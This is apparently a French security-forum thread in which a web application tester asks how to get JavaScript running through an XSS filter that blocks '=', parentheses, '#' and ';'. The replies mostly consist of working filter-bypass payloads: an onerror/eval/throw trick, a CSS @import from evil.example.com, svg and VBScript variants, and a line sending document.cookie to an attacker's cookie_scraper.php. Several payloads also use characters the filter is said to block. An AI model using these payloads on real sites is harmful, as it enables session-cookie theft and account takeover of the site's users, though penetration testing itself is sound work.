Je teste une application Web et j'ai trouvé une vulnérabilité XSS. Je peux casser une balise et injecter du code dans l'application mais rien de potentiellement dangereux pour le client.
L'application a un filtre qui détecte les caractères spéciaux et certaines chaînes, ainsi je peux contourner le filtre pour la reconnaissance de chaîne en injectant des valeurs nulles (<scr% 00ipt>) entre ses caractères, mais je ne sais pas comment le contourner pour un seul caractère.
Allowed chars: : / & @ - { } < > \ . , ' "
Disallowed chars: = ( ) # ;
Le filtre n'utilise pas la conversion de caractères et lorsqu'un élément interdit est détecté, il affiche un message d'erreur: Paramètres non valides détectés
Peut-être que je manque quelque chose, mais aujourd'hui, je ne vois pas comment exécuter javascript dans ces conditions. Une idée?
Oui, c'est possible. Il y a une astuce que vous pouvez faire avec onerror
:
<img src=x onerror=eval;throw'=alert\x281\x29';>
throw
génère une chaîne JavaScript qui est ensuite retransmise en eval
car le throw
constitue une erreur. Cela vous donne une injection JavaScript arbitraire complète.
OK, vous dites donc que nous ne pouvons pas utiliser un signe égal. Au lieu de cela, je suggère cette astuce:
"><style>@import'http://evil.example.com/xss.css';</style>
Cela inclut un fichier CSS tiers dans la page. De là, vous pouvez lancer JavaScript:
body {
background-image: url('javascript:alert(document.cookie);')
}
Il existe également autres astuces que vous pouvez utiliser pour obtenir l'exécution JavaScript de CSS.
Le blocage des parenthèses est étrange, je ne suis au courant d'aucune attaque que cela empêche. XSS sans parenthèses est possible .
Pour les navigateurs qui support svg :
<svg>
<script>alert(/1/.source)</script>
</svg>
Si vous voulez juste un PoC simple, cela devrait fonctionner:
<script>onerror=alert;throw 1;</script>
Mais un exploit réel ne nécessite pas de parenthèses:
document.location='http://evilsite/cookie_scraper.php?cookie='+document.cookie
Astuce simple avec VBScript: <input onfocus=vbs:msgbox+1>
[fonctionne dans IE]